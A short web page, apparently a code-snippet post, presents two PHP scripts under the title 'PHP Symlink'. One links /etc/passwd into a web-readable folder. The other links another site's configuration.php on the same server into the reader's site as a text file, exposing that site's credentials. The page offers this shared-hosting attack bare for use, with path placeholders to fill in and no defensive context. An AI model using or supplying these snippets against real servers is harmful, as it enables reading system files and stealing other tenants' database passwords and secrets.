Skip to main content

PHP Symlink

<?php
$target = '/etc/passwd';
$link = '/home/YOURPATH/site/etc_passwd.txt';
symlink($target, $link);
?>


<?php
$target = '/home/PATHOFOTHERSITE/site/configuration.php';
$link = '/home/YOURPATH/site/first_site_configuration.txt';
symlink($target, $link);
?>

Share this with your friends
Loading...